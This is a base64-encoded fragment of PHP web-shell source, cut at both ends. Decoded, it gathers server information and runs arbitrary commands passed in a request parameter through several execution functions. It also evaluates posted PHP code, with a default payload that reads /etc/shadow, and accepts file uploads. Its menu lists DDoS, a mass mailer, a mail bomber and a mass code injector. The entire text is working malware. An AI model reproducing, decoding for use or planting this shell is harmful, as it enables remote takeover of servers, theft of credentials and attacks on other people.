GYgPz4/ZGlyPTw/cGhwIGVjaG8gJGRyaXZlLiI6XFwiOyA/Pic+IAogICAgICAgICAgICAgICAgICAgIDw/cGhwIGVjaG8gJGRyaXZlLiI6XFwiID8+IAogICAgICAgICAgICAgICAgPC9hPiAgCiAgICAgICAgICAgICAgICA8P3BocCAKICAgICAgICAgICAgfSAKICAgICAgICB9IAogICAgfSAKCiAgICBmdW5jdGlvbiBIdW1hblJlYWRhYmxlRmlsZXNpemUoJHNpemUpIAogICAgeyAKICAKICAgICAgICAkbW9kID0gMTAyNDsgCiAgCiAgICAgICAgJHVuaXRzID0gZXhwbG9kZSgnICcsJ0IgS0IgTUIgR0IgVEIgUEInKTsgCiAgICAgICAgZm9yICgkaSA9IDA7ICRzaXplID4gJG1vZDsgJGkrKykgIAogICAgICAgIHsgCiAgICAgICAgICAgICRzaXplIC89ICRtb2Q7IAogICAgICAgIH0gCiAgCiAgICAgICAgcmV0dXJuIHJvdW5kKCRzaXplLCAyKSAuICcgJyAuICR1bml0c1skaV07IAogICAgfSAKCmZ1bmN0aW9uIGdldENsaWVudElwKCkgCnsgCiAgICBlY2hvICRfU0VSVkVSWydSRU1PVEVfQUREUiddOyAKfSAKCmZ1bmN0aW9uIGdldFNlcnZlcklwKCkgCnsgCiAgICBlY2hvIGdldGVudignU0VSVkVSX0FERFInKTsgCn0gCmZ1bmN0aW9uIGdldFNvZnR3YXJlSW5mbygpIAp7IAogICAgZWNobyBwaHBfdW5hbWUoKTsgCn0gCmZ1bmN0aW9uIGRpc2tTcGFjZSgpIAp7IAogICAgZWNobyBIdW1hblJlYWRhYmxlRmlsZXNpemUoZGlza190b3RhbF9zcGFjZSgiLyIpKTsgCn0gCmZ1bmN0aW9uIGZyZWVTcGFjZSgpIAp7IAogICAgZWNobyBIdW1hblJlYWRhYmxlRmlsZXNpemUoZGlza19mcmVlX3NwYWNlKCIvIikpOyAKfSAKZnVuY3Rpb24gZ2V0U2FmZU1vZGUoKSAKeyAKICAgICAgICBnbG9iYWwgJHNtOyAKICAgICAgICBlY2hvKCRzbT8iT04gOiggOicoIChNb3N0IG9mIHRoZSBGZWF0dXJlcyB3aWxsIE5vdCBXb3JrISkiOiJPRkYiKTsgCiAgICAgICAgIAp9IAoKZnVuY3Rpb24gZ2V0RGlzYWJsZWRGdW5jdGlvbnMoKSAKeyAKICAgIGlmKCFpbmlfZ2V0KCdkaXNhYmxlX2Z1bmN0aW9ucycpKSAKICAgIHsgCiAgICAgICAgZWNobyAiTm9uZSI7IAogICAgfSAKICAgIGVsc2UgCiAgICB7IAogICAgICAgICAgICBlY2hvIEBpbmlfZ2V0KCdkaXNhYmxlX2Z1bmN0aW9ucycpOyAKICAgIH0gCn0gCgpmdW5jdGlvbiBnZXRGaWxlUGVybWlzc2lvbnMoJGZpbGUpIAp7IAogICAgIAokcGVybXMgPSBmaWxlcGVybXMoJGZpbGUpOyAKCmlmICgoJHBlcm1zICYgMHhDMDAwKSA9PSAweEMwMDApIHsgCiAgICAvLyBTb2NrZXQgCiAgICAkaW5mbyA9ICdzJzsgCn0gZWxzZWlmICgoJHBlcm1zICYgMHhBMDAwKSA9PSAweEEwMDApIHsgCiAgICAvLyBTeW1ib2xpYyBMaW5rIAogICAgJGluZm8gPSAnbCc7IAp9IGVsc2VpZiAoKCRwZXJtcyAmIDB4ODAwMCkgPT0gMHg4MDAwKSB7IAogICAgLy8gUmVndWxhciAKICAgICRpbmZvID0gJy0nOyAKfSBlbHNlaWYgKCgkcGVybXMgJiAweDYwMDApID09IDB4NjAwMCkgeyAKICAgIC8vIEJsb2NrIHNwZWNpYWwgCiAgICAkaW5mbyA9ICdiJzsgCn0gZWxzZWlmICgoJHBlcm1zICYgMHg0MDAwKSA9PSAweDQwMDApIHsgCiAgICAvLyBEaXJlY3RvcnkgCiAgICAkaW5mbyA9ICdkJzsgCn0gZWxzZWlmICgoJHBlcm1zICYgMHgyMDAwKSA9PSAweDIwMDApIHsgCiAgICAvLyBDaGFyYWN0ZXIgc3BlY2lhbCAKICAgICRpbmZvID0gJ2MnOyAKfSBlbHNlaWYgKCgkcGVybXMgJiAweDEwMDApID09IDB4MTAwMCkgeyAKICAgIC8vIEZJRk8gcGlwZSAKICAgICRpbmZvID0gJ3AnOyAKfSBlbHNlIHsgCiAgICAvLyBVbmtub3duIAogICAgJGluZm8gPSAndSc7IAp9IAoKLy8gT3duZXIgCiRpbmZvIC49ICgoJHBlcm1zICYgMHgwMTAwKSA/ICdyJyA6ICctJyk7IAokaW5mbyAuPSAoKCRwZXJtcyAmIDB4MDA4MCkgPyAndycgOiAnLScpOyAKJGluZm8gLj0gKCgkcGVybXMgJiAweDAwNDApID8gCiAgICAgICAgICAgICgoJHBlcm1zICYgMHgwODAwKSA/ICdzJyA6ICd4JyApIDogCiAgICAgICAgICAgICgoJHBlcm1zICYgMHgwODAwKSA/ICdTJyA6ICctJykpOyAKCi8vIEdyb3VwIAokaW5mbyAuPSAoKCRwZXJtcyAmIDB4MDAyMCkgPyAncicgOiAnLScpOyAKJGluZm8gLj0gKCgkcGVybXMgJiAweDAwMTApID8gJ3cnIDogJy0nKTsgCiRpbmZvIC49ICgoJHBlcm1zICYgMHgwMDA4KSA/IAogICAgICAgICAgICAoKCRwZXJtcyAmIDB4MDQwMCkgPyAncycgOiAneCcgKSA6IAogICAgICAgICAgICAoKCRwZXJtcyAmIDB4MDQwMCkgPyAnUycgOiAnLScpKTsgCgovLyBXb3JsZCAKJGluZm8gLj0gKCgkcGVybXMgJiAweDAwMDQpID8gJ3InIDogJy0nKTsgCiRpbmZvIC49ICgoJHBlcm1zICYgMHgwMDAyKSA/ICd3JyA6ICctJyk7IAokaW5mbyAuPSAoKCRwZXJtcyAmIDB4MDAwMSkgPyAKICAgICAgICAgICAgKCgkcGVybXMgJiAweDAyMDApID8gJ3QnIDogJ3gnICkgOiAKICAgICAgICAgICAgKCgkcGVybXMgJiAweDAyMDApID8gJ1QnIDogJy0nKSk7IAoKcmV0dXJuICRpbmZvOyAKCn0gCgovKioqKioqKioqKioqKioqKioqKioqKioqKioqKioqKioqKioqKioqKioqKioqKioqKioqKioqKioqKiovIAovLyBleGVjX2FsbCAsIEEgZnVuY3Rpb24gdXNlZCB0byBleGVjdXRlIGNvbW1hbmRzICwgVGhpcyBmdW5jdGlvbiB3aWxsIG9ubHkgZXhlY3V0ZSBpZiB0aGUgU2FmZSBNb2RlIGlzIAovLyBUdXJuZWQgT2ZGISAKLyoqKioqKioqKioqKioqKioqKioqKioqKioqKioqKioqKioqKioqKioqKioqKioqKioqKioqKioqKiovIAoKCmZ1bmN0aW9uIGV4ZWNfYWxsKCRjb21tYW5kKSAKeyAKICAgICAKICAgICRvdXRwdXQgPSAnJzsgCiAgICBpZihmdW5jdGlvbl9leGlzdHMoJ2V4ZWMnKSkgCiAgICB7ICAgIAogICAgICAgIGV4ZWMoJGNvbW1hbmQsJG91dHB1dCk7IAogICAgICAgICRvdXRwdXQgPSBqb2luKCJcbiIsJG91dHB1dCk7IAogICAgfSAKICAgICAKICAgIGVsc2UgaWYoZnVuY3Rpb25fZXhpc3RzKCdzaGVsbF9leGVjJykpIAogICAgeyAKICAgICAgICAkb3V0cHV0ID0gc2hlbGxfZXhlYygkY29tbWFuZCk7IAogICAgfSAKICAgICAKICAgIGVsc2UgaWYoZnVuY3Rpb25fZXhpc3RzKCdwb3BlbicpKSAKICAgIHsgCiAgICAgICAgJGhhbmRsZSA9IHBvcGVuKCRjb21tYW5kICwgInIiKTsgLy8gT3BlbiB0aGUgY29tbWFuZCBwaXBlIGZvciByZWFkaW5nIAogICAgICAgIGlmKGlzX3Jlc291cmNlKCRoYW5kbGUpKSAKICAgICAgICB7IAogICAgICAgICAgICBpZihmdW5jdGlvbl9leGlzdHMoJ2ZyZWFkJykgJiYgZnVuY3Rpb25fZXhpc3RzKCdmZW9mJykpIAogICAgICAgICAgICB7IAogICAgICAgICAgICAgICAgd2hpbGUoIWZlb2YoJGhhbmRsZSkpIAogICAgICAgICAgICAgICAgeyAKICAgICAgICAgICAgICAgICAgICAkb3V0cHV0IC49IGZyZWFkKCRoYW5kbGUsIDUxMik7IAogICAgICAgICAgICAgICAgfSAKICAgICAgICAgICAgfSAKICAgICAgICAgICAgZWxzZSBpZihmdW5jdGlvbl9leGlzdHMoJ2ZnZXRzJykgJiYgZnVuY3Rpb25fZXhpc3RzKCdmZW9mJykpIAogICAgICAgICAgICB7IAogICAgICAgICAgICAgICAgd2hpbGUoIWZlb2YoJGhhbmRsZSkpIAogICAgICAgICAgICAgICAgeyAKICAgICAgICAgICAgICAgICAgICAkb3V0cHV0IC49IGZnZXRzKCRoYW5kbGUsNTEyKTsgCiAgICAgICAgICAgICAgICB9IAogICAgICAgICAgICB9IAogICAgICAgIH0gCiAgICAgICAgcGNsb3NlKCRoYW5kbGUpOyAKICAgIH0gCiAgICAgCiAgICAgCiAgICBlbHNlIGlmKGZ1bmN0aW9uX2V4aXN0cygnc3lzdGVtJykpIAogICAgeyAKICAgICAgICBvYl9zdGFydCgpOyAvL3N0YXJ0IG91dHB1dCBidWZmZXJpbmcgCiAgICAgICAgc3lzdGVtKCRjb21tYW5kKTsgCiAgICAgICAgJG91dHB1dCA9IG9iX2dldF9jb250ZW50cygpOyAgICAvLyBHZXQgdGhlIG91cHV0ICAKICAgICAgICBvYl9lbmRfY2xlYW4oKTsgICAgICAgICAgICAgICAgIC8vIFN0b3Agb3V0cHV0IGJ1ZmZlcmluZyAKICAgIH0gCiAgICAgCiAgICBlbHNlIGlmKGZ1bmN0aW9uX2V4aXN0cygncGFzc3RocnUnKSkgCiAgICB7IAogICAgICAgIG9iX3N0YXJ0KCk7IC8vc3RhcnQgb3V0cHV0IGJ1ZmZlcmluZyAKICAgICAgICBwYXNzdGhydSgkY29tbWFuZCk7IAogICAgICAgICRvdXRwdXQgPSBvYl9nZXRfY29udGVudHMoKTsgICAgLy8gR2V0IHRoZSBvdXB1dCAgCiAgICAgICAgb2JfZW5kX2NsZWFuKCk7ICAgICAgICAgICAgICAgICAvLyBTdG9wIG91dHB1dCBidWZmZXJpbmcgICAgICAgICAgICAgCiAgICB9IAogICAgIAogICAgZWxzZSBpZihmdW5jdGlvbl9leGlzdHMoJ3Byb2Nfb3BlbicpKSAKICAgIHsgCiAgICAgICAgJGRlc2NyaXB0b3JzcGVjID0gYXJyYXkoIAogICAgICAgICAgICAgICAgMSA9PiBhcnJheSgicGlwZSIsICJ3IiksICAvLyBzdGRvdXQgaXMgYSBwaXBlIHRoYXQgdGhlIGNoaWxkIHdpbGwgd3JpdGUgdG8gCiAgICAgICAgICAgICAgICApOyAKICAgICAgICAkaGFuZGxlID0gcHJvY19vcGVuKCRjb21tYW5kICwkZGVzY3JpcHRvcnNwZWMgLCAkcGlwZXMpOyAvLyBUaGlzIHdpbGwgcmV0dXJuIHRoZSBvdXRwdXQgdG8gYW4gYXJyYXkgJ3BpcGVzJyAKICAgICAgICBpZihpc19yZXNvdXJjZSgkaGFuZGxlKSkgCiAgICAgICAgeyAKICAgICAgICAgICAgaWYoZnVuY3Rpb25fZXhpc3RzKCdmcmVhZCcpICYmIGZ1bmN0aW9uX2V4aXN0cygnZmVvZicpKSAKICAgICAgICAgICAgeyAKICAgICAgICAgICAgICAgIHdoaWxlKCFmZW9mKCRwaXBlc1sxXSkpIAogICAgICAgICAgICAgICAgeyAKICAgICAgICAgICAgICAgICAgICAkb3V0cHV0IC49IGZyZWFkKCRwaXBlc1sxXSwgNTEyKTsgCiAgICAgICAgICAgICAgICB9IAogICAgICAgICAgICB9IAogICAgICAgICAgICBlbHNlIGlmKGZ1bmN0aW9uX2V4aXN0cygnZmdldHMnKSAmJiBmdW5jdGlvbl9leGlzdHMoJ2Zlb2YnKSkgCiAgICAgICAgICAgIHsgCiAgICAgICAgICAgICAgICB3aGlsZSghZmVvZigkcGlwZXNbMV0pKSAKICAgICAgICAgICAgICAgIHsgCiAgICAgICAgICAgICAgICAgICAgJG91dHB1dCAuPSBmZ2V0cygkcGlwZXNbMV0sNTEyKTsgCiAgICAgICAgICAgICAgICB9IAogICAgICAgICAgICB9IAogICAgICAgIH0gCiAgICAgICAgcGNsb3NlKCRoYW5kbGUpOyAKICAgIH0gCiAgICBlbHNlIAogICAgeyAKICAgICAgICAkb3V0cHV0ID0gIlRoZXkgaGF2ZSB0aGVpciBTZWN1cml0eSB0aGVyZSEgOiggIjsgCiAgICB9IAogICAgIAogICAgcmV0dXJuKGh0bWxzcGVjaWFsY2hhcnMoJG91dHB1dCkpOyAKICAgICAKfSAKZnVuY3Rpb24gbWFnaWNRdW90ZSgkdGV4dCkgCnsgCiAgICBpZiAoIWdldF9tYWdpY19xdW90ZXNfZ3BjKCkpIAogICAgeyAKICAgICAgICByZXR1cm4gJHRleHQ7IAogICAgfSAKICAgIHJldHVybiBzdHJpcHNsYXNoZXMoJHRleHQpOyAKfSAKLy8tLS0tLS0tLS0tLS0tLS0tLS0tLS0tLS0tLS0tLS0tLS0tLS0tLS0tLS0tLS0tLS0tLS0tLS0tLS0tLS0tLS0tLS0tLS0tLS0tLS0tLS0tLS0tLS0tLS0tLS0tLS0tLS0gCgoKPz4gCgo8dGFibGUgY2xhc3M9InRvcCI+IAogICAgPHRib2R5PiAKICAgICAgICA8dHI+IAogICAgICAgICAgICA8dGQ+IAogICAgICAgICAgICA8ZGl2IGNsYXNzPSJsb2dvIj4gCiAgICAgICAgICAgICAgICA8aDE+PGxpbmsgaHJlZj0naHR0cDovL2ZvbnRzLmdvb2dsZWFwaXMuY29tL2Nzcz9mYW1pbHk9SWNlbGFuZCcgcmVsPSdzdHlsZXNoZWV0JyB0eXBlPSd0ZXh0L2Nzcyc+CjxzdHlsZT5ib2R5e2N1cnNvcjp1cmwoIi4uL3d3dy5tYWRsZWV0cy5jb20vZWxoYWNrZXIuY3VyIiksYXV0bzt9aHRtbHtkaXNwbGF5OnRhYmxlO2hlaWdodDoxMDAlO3dpZHRoOjEwMCU7fWJvZHl7ZGlzcGxheTp0YWJsZS1yb3c7fWJvZHl7ZGlzcGxheTp0YWJsZS1jZWxsO3ZlcnRpY2FsLWFsaWduOm1pZGRsZTt0ZXh0LWFsaWduOmNlbnRlcjt9YTpsaW5re3RleHQtZGVjb3JhdGlvbjpub25lO308L3N0eWxlPgo8Y2VudGVyPjxpbWcgc3JjPSJodHRwczovL2kuaW1ndXIuY29tL1NoZ3dzVW0uanBnIiBhbHQ9ImxvZ28iPgo8L2NlbnRlcj4KPGZvbnQgZmFjZT0iSWNlbGFuZCIgc3R5bGU9ImNvbG9yOmxpbWU7dGV4dC1zaGFkb3c6MHB4IDFweCA1cHggIzAwMDtmb250LXNpemU6MzBweCI+PC9oMT48YmxvY2txdW90ZSBjbGFzcz0ic21hbGwiPlNoZWxsPC9ibG9ja3F1b3RlPiAKICAgICAgICAgICAgICAgICAKICAgICAgICAgICAgPC9kaXY+IAogICAgICAgICAgICA8L3RkPiAKICAgICAgICAgICAgPHRkPiAKICAgICAgICAgICAgPGRpdiBjbGFzcz0iaGVhZGVyIj4gCiAgICAgICAgICAgIDw/cGhwIGdldFNvZnR3YXJlSW5mbygpOyA/PjxiciAvPiAKWW91ciBJUCA6IDw/cGhwIGdldENsaWVudElwKCk7ID8+IDxmb250IGNvbG9yPSJzaWx2ZXIiID58PC9mb250PiBTZXJ2ZXIgSVAgOiA8P3BocCBnZXRTZXJ2ZXJJcCgpOz8+IDxiciAvPiAKICAgICAgICAgICAgU2FmZSBNb2RlIDogPD9waHAgZ2V0U2FmZU1vZGUoKTsgPz48YnIgLz4gCiAgICAgICAgICAgIDw/cGhwIGlmKCRvcyA9PSAnV2luZG93cycpeyBlY2hvIHNob3dEcml2ZXMoKTt9ID8+IDw/cGhwIGVjaG8gZ2V0Y3dkKCk7Pz4gCiAgICAgICAgICAgIDwvZGl2PiAKICAgICAgICAgICAgPC90ZD4gCiAgICAgICAgPC90cj4gCiAgICA8L3Rib2R5PiAKPC90YWJsZT4gCjxkaXYgY2xhc3M9ImhlYWRlciIgaWQ9ImJvcmRlcnMiPiAKICAgICAgICAgICAgU2VydmVyIEFETUlOOiA8P3BocCBlY2hvICRfU0VSVkVSWydTRVJWRVJfQURNSU4nXTs/PiA8Zm9udCBjb2xvcj0ic2lsdmVyIiA+fDwvZm9udD4gCiAgICAgICAgICAgIFBIUCBWRVJTSU9OIDogPD9waHAgZWNobyAkcGhwVmVyc2lvbjsgPz4gPGZvbnQgY29sb3I9InNpbHZlciIgPnw8L2ZvbnQ+IAogICAgICAgICAgICBDdXJsIDogPD9waHAgZWNobyBmdW5jdGlvbl9leGlzdHMoJ2N1cmxfdmVyc2lvbicpPygiPGZvbnQgY29sb3I9J3JlZCc+RW5hYmxlZDwvZm9udD4iKTooIkRpc2FibGVkIik7ID8+IDxmb250IGNvbG9yPSJzaWx2ZXIiID58PC9mb250PiAKICAgICAgICAgICAgT3JhY2xlIDogPD9waHAgZWNobyBmdW5jdGlvbl9leGlzdHMoJ29jaWxvZ29uJyk/KCI8Zm9udCBjb2xvcj0ncmVkJz5FbmFibGVkPC9mb250PiIpOigiRGlzYWJsZWQiKTsgPz4gPGZvbnQgY29sb3I9InNpbHZlciIgPnw8L2ZvbnQ+IAogICAgICAgICAgICBNeVNRTCA6IDw/cGhwICBlY2hvIGZ1bmN0aW9uX2V4aXN0cygnbXlzcWxfY29ubmVjdCcpPygiPGZvbnQgY29sb3I9J3JlZCc+RW5hYmxlZDwvZm9udD4iKTooIkRpc2FibGVkIik7Pz4gPGZvbnQgY29sb3I9InNpbHZlciIgPnw8L2ZvbnQ+IAogICAgICAgICAgICBNU1NRTCA6IDw/cGhwIGVjaG8gZnVuY3Rpb25fZXhpc3RzKCdtc3NxbF9jb25uZWN0Jyk/KCI8Zm9udCBjb2xvcj0ncmVkJz5FbmFibGVkPC9mb250PiIpOigiRGlzYWJsZWQiKTsgPz4gPGZvbnQgY29sb3I9InNpbHZlciIgPnw8L2ZvbnQ+IAogICAgICAgICAgICBQb3N0Z3JlU1FMIDogPD9waHAgZWNobyBmdW5jdGlvbl9leGlzdHMoJ3BnX2Nvbm5lY3QnKT8oIjxmb250IGNvbG9yPSdyZWQnPkVuYWJsZWQ8L2ZvbnQ+Iik6KCJEaXNhYmxlZCIpOyA/PiA8Zm9udCBjb2xvcj0ic2lsdmVyIiA+fDwvZm9udD4gCiAgICAgICAgICAgIERpc2FibGUgZnVuY3Rpb25zIDogPD9waHAgZ2V0RGlzYWJsZWRGdW5jdGlvbnMoKTsgPz4gPGZvbnQgY29sb3I9InNpbHZlciIgPnw8L2ZvbnQ+IAogICAgICAgICAgICBTcGFjZSA6IDw/cGhwIGRpc2tTcGFjZSgpOyA/PiA8Zm9udCBjb2xvcj0ic2lsdmVyIiA+fDwvZm9udD4gCiAgICAgICAgICAgIEZyZWUgOiA8P3BocCBmcmVlU3BhY2UoKTsgPz4gCiAgICAgICAgPC90YWJsZT4gCjwvZGl2PiAKPGRpdiBjbGFzcz0ibmF2Ij4gCjx1bD4gCiAgICA8bGk+PGEgaHJlZj0iPD9waHAgZWNobyAkc2VsZjs/PiI+SG9tZTwvYT48L2xpPiAKICAgIDxsaT48YSBocmVmPSI8P3BocCBlY2hvICRzZWxmLic/dXBsb2FkJzs/PiI+VXBsb2FkPC9hPjwvbGk+IAogICAgPGxpPjxhIGhyZWY9Ijw/cGhwIGVjaG8gJHNlbGYuJz9zaGVsbCc7Pz4iPlNoZWxsPC9hPjwvbGk+IAogICAgPGxpPjxhIGhyZWY9Ijw/cGhwIGVjaG8gJHNlbGYuJz9kb3MnOz8+Ij5ERG9TPC9hPjwvbGk+IAogICAgPGxpPjxhIGhyZWY9Ijw/cGhwIGVjaG8gJHNlbGYuJz9mdXp6Jzs/PiI+V2ViLVNlcnZlciBGdXp6ZXI8L2E+PC9saT4gCiAgICA8bGk+PGEgaHJlZj0iPD9waHAgZWNobyAkc2VsZi4nP21haWwnPz4iPk1hc3MgTWFpbGVyPC9hPjwvbGk+IAogICAgPGxpPjxhIGhyZWY9Ijw/cGhwIGVjaG8gJHNlbGYuJz9ib21iJz8+Ij5NYWlsIEJvbWJlcjwvYT48L2xpPiAKICAgIDxsaT48YSBocmVmPSI8P3BocCBlY2hvICRzZWxmLic/Y29ubmVjdCc/PiI+Q29ubmVjdDwvYT48L2xpPiAKICAgIDxsaT48YSBocmVmPSI8P3BocCBlY2hvICRzZWxmLic/aW5qZWN0b3InPz4iPk1hc3MgQ29kZSBJbmplY3RvcjwvYT48L2xpPiAKICAgIDxsaT48YSBocmVmPSI8P3BocCBlY2hvICRzZWxmLic/ZGVjb2RlJz8+Ij5QSFAgRGVjb2RlcjwvYT48L2xpPiAKICAgIDxsaT48YSBocmVmPSI8P3BocCBlY2hvICRzZWxmLic/ZXZhbCc/PiI+UEhQIEV2YWx1YXRlPC9hPjwvbGk+IAoKICAgIDw/cGhwIGlmKCRsb2NrID09ICdvbicpIAogICAgeyAKICAgID8+IAogICAgICAgIDxsaT48YSBocmVmPSI8P3BocCBlY2hvICRzZWxmLic/bG9nb3V0Jz8+Ij5JIG0gT3V0ITwvYT48L2xpPiAKICAgIDw/cGhwIAogICAgfSAKICAgID8+IAo8L3VsPiAKPC9kaXY+IAoKPD9waHAgCi8vLS0tLS0tLS0tLS0tLS0tLS0tLS0tLS0tLS0tLS0tLS0gQ2hlY2sgd2hhdCBoZSB3YW50cyAtLS0tLS0tLS0tLS0tLS0tLS0tLS0tLS0tLS0tLS0tLS0tLS0tLS0tLS0tIAoKLy8gU2hlbGwgCgppZihpc3NldCgkX0dFVFsnc2hlbGwnXSkpIAp7IAogICAgaWYoIWlzc2V0KCRfR0VUWydjbWQnXSkgfHwgJF9HRVRbJ2NtZCddID09ICcnKSAKICAgIHsgCiAgICAgICAgJHJlc3VsdCA9ICIiOyAgICAgCiAgICB9IAogICAgZWxzZSAKICAgIHsgCiAgICAgICAgJHJlc3VsdD1leGVjX2FsbCgkX0dFVFsnY21kJ10pOyAKICAgIH0gCiAgICA/PiAKICAgIDx0ZXh0YXJlYSBjbGFzcz0iY21kIiBjb2xzPSIxMDAiIHJvd3M9IjIwIj48P3BocCBlY2hvICRyZXN1bHQ7Pz48L3RleHRhcmVhPjxiciAvPjxiciAvPiAKICAgIDxmb3JtIGFjdGlvbj0iPD9waHAgZWNobyAkc2VsZjs/PiIgbWV0aG9kPSJHRVQiPiAKICAgIDwhLS0gRm9yIFNoZWxsIC0tPiAKICAgIDxpbnB1dCBuYW1lPSJzaGVsbCIgdHlwZT0iaGlkZGVuIiAvPiAKICAgIDwhLS0gRm9yIENNRCAtLT4gCiAgICA8aW5wdXQgbmFtZT0iY21kIiBjbGFzcz0iY21kIiAvPiAKICAgIDxpbnB1dCBuYW1lPSJzdWJtaXQiIHZhbHVlPSJTcGluIFRoYXQgU2hpdCEiIGNsYXNzPSJvd24iIHR5cGU9InN1Ym1pdCIgLz4gCiAgICA8L2Zvcm0+IAogICAgPD9waHAgCn0gCgoKLy8gUEhQIGV2YWx1YXRlIAoKZWxzZSBpZihpc3NldCgkX0dFVFsnZXZhbCddKSkgCnsgCiAgICA/PiAKICAgIDxmb3JtIG1ldGhvZD0iUE9TVCI+IAogICAgPHRleHRhcmVhIG5hbWU9ImNvZGUiIGNsYXNzPSJjbWQiIGNvbHM9IjEwMCIgcm93cz0iMjAiPjw/cGhwIAogICAgLy8gSWYgdGhlIGNvbWFuZCB3YXMgc2VudCAKICAgIGlmKGlzc2V0KCRfUE9TVFsnY29kZSddKSAKICAgICAgICAmJiAkX1BPU1RbJ2NvZGUnXSAKICAgICkgCiAgICB7IAogICAgICAgIC8vIEZJbHRlciBTb21lIENoYXJzIHdlIGRvbnQgbmVlZCAKCiAgICAgICAgJGNvZGUgPSBzdHJfcmVwbGFjZSgiPD9waHAiLCIiLCRfUE9TVFsnY29kZSddKTsgCiAgICAgICAgJGNvZGUgPSBzdHJfcmVwbGFjZSgiPD8iLCIiLCRjb2RlKTsgCiAgICAgICAgJGNvZGUgPSBzdHJfcmVwbGFjZSgiPz4iLCIiLCRjb2RlKTsgCgogICAgICAgIC8vIEV2YWx1YXRlIFBIUCBDb0RFISAKCiAgICAgICAgaHRtbHNwZWNpYWxjaGFycyhldmFsKCRjb2RlKSk7IAogICAgfSAKICAgIGVsc2UgCiAgICB7IAogICAgICAgID8+ZWNobyBmaWxlX2dldF9jb250ZW50cygnL2V0Yy9zaGFkb3cnKTs8P3BocCAKICAgIH0gCiAgICA/PjwvdGV4dGFyZWE+PGJyIC8+PGJyIC8+IAogICAgPGlucHV0IG5hbWU9InN1Ym1pdCIgdmFsdWU9IkV2YWwgVGhhdCBDT2RlISA6RCIgY2xhc3M9Im93biIgdHlwZT0ic3VibWl0IiAvPiAKICAgIDwvZm9ybT4gCiAgICA8P3BocCAKICAgICAKfSAKCi8vIFVwbG9hZCAKCmVsc2UgaWYoaXNzZXQoJF9HRVRbJ3VwbG9hZCddKSkgCnsgCgogICAgaWYgKGlzc2V0KCRfUE9TVFsnZmlsZSddKSAmJiAKICAgICAgICBpc3NldCgkX1BPU1RbJ3BhdGgnXSkgIAogICAgICkgCiAgICB7IAogICAgICAgICRwYXRoID0gJF9QT1NUWydwYXRoJ107IAogICAgICAgICAgICAgCiAgICAgICAgaWYoJHBhdGhbKHN0cmxlbigkcGF0aCktMSldICE9ICRTRVBBUkFUT1IpeyRwYXRoID0gJHBhdGguJFNFUEFSQVRPUjt9IAogICAgICAgICAKICAgICAgICBpZihpc19kaXIoJHBhdGgpKSAKICAgICAgICB7IAogICAgICAgICAgICAkdXBsb2FkZWRGaWxlUGF0aCA9ICRfRklMRVNbJ2ZpbGUnXVsnbmFtZSddOyAKICAgICAgICAgICAgJHRlbXBOYW1lID0gJF9GSUxFU1snZmlsZSddWyd0bXBfbmFtZSddOyAKICAgICAgICAgICAgJHVwbG9hZFBhdGggPSAkcGF0aCAuICAkdXBsb2FkZWRGaWxlUGF0aDsgCiAgICAgICAgICAgICRzdGF0ID0gbW92ZV91cGxvYWRlZF9maWxlKCR0ZW1wTmFtZSAsICR1cGxvYWRlZEZpbGVQYXRoKTsgCiAgICAgICAgICAgIGlmICgkc3RhdCkgCiAgICAgICAgICAgIHsgCiAgICAgICAgICAgICAgICBlY2hvICI8cCBjbGFzcz0nd2FybmluZyc+RmlsZSB1cGxvYWRlZCB0byAkdXBsb2FkUGF0aDwvcD4iOyAKICAgICAgICAgICAgfSAKICAgICAgICAgICAgZWxzZSAKICAgICAgICAgICAgeyAKICAgICAgICAgICAgICAgIGVjaG8gIjxwIGNsYXNzPSd3YXJuaW5nJyA+IDooIDonKCBGYWlsZWQgdG8gdXBsb2FkIGZpbGUgdG8gJHVwbG9hZFBhdGg8L3A+IjsgCiAgICAgICAgICAgIH0gCiAgICAgICAgIH0gCiAgICB9IAogICAgZWxzZSAKICAgIHsgCiAgICA/PiAKICAgIDx0YWJsZSBjbGFzcz0iYmluZCIgYWxpZ249ImNlbnRlciIgPiAKICAgIDx0cj4gCiAgICAgICAgPHRoIGNsYXNzPSJoZWFkZXIiIGNvbHNwYW49IjEiIHdpZHRoPSI1MHB4Ij5VcGxvYWQgKEZyb20gdXIgQ29tcHV0ZXIpPC90aD4gCiAgICA8L3RyPiAKICAgIDx0cj4gCiAgICAgICAgIDx0ZD4gCiAgICAgICAgICAgIDx0YWJsZSBzdHlsZT0iYm9yZGVyLXNwYWNpbmc6IDZweDsiPiAKICAgICAgICAgICAgICAgIDxmb3JtIG1ldGhvZD0iUE9TVCIgZW5jdHlwZT0ibXVsdGlwYXJ0L2Zvcm0tZGF0YSI+IAogICAgICAgICAgICAgICAgIAogICAgICAgICAgICAgICAgPHRyPiAKICAgICAgICAgICAgICAgICAgICA8dGQgd2lkdGg9IjEwMCI+PGlucHV0IHR5cGU9ImZpbGUiIG5hbWU9ImZpbGUiLz48L3RkPiAKICAgICAgICAgICAgICAgICAgICA8dGQ+PGlucHV0IHR5cGU9InN1Ym1pdCIgbmFtZT0iZmlsZSIgY2xhc3M9Im93biIgdmFsdWU9IlVwbG9hZCIvPjwvdGQ+IAogICAgICAgICAgICAgCiAgICAgICAgICAgICAgICA8L3RyPiAKICAgICAgICAgICAgICAgICAKICAgICAgICAgICAgICAgICA8dHI+IAogICAgICAgICAgICAgICAgICAgIDx0ZCBjb2xzcGFuPSIyIj4gCiAgICAgICAgICAgICAgICAgICAgICAgIDxpbnB1dCBjbGFzcz0nY21kJyBzdHlsZT0id2lkdGg6IDI4MHB4OyIgbmFtZT0ncGF0aCcgdmFsdWU9Ijw/cGhwIGVjaG8gZ2V0Y3dkKCk7ID8+IiAvPiAgICAKICAgICAgICAgICAgICAgICAgICA8L3RkPiAKICAgICAgICAgICAgICAgIDwvdHI+IAogICAgICAgICAgICAgICAgIAogICAgICAgICAgICAgICAgPC9mb3JtPiAKICAgICAgICAgICAgPC90YWJsZT4gCiAgICAgICAgIDwvdGQ+IAogICAgPC90cj4gCiAgICA8L3RhYmxlPiAKPD9waHAgCiAgICB9IAoKfSAKCi8vIENvZGUgSW5qZWN0b3IgCgplbHNlIGlmKGlzc2V0KCRfR0VUWydpbmplY3RvciddKSkgCnsgCiAgICBpZihpc3NldCgkX0dFVFsnZGlyJ10pICYmIAogICAgJF9HRVRbJ2RpciddICE9ICcnICYmIAogICAgaXNzZXQoJF9HRVRbJ2ZpbGV0eXBlJ10pICYmIAogICAgJF9HRVRbJ2ZpbGV0eXBlJ10gIT0gJycgJiYgCiAgICBpc3NldCgkX0dFVFsnbW9kZSddKSAmJiAKICAgICRfR0VUWydtb2RlJ10gIT0gJycgJiYgIAogICAgaXNzZXQoJF9HRVRbJ21l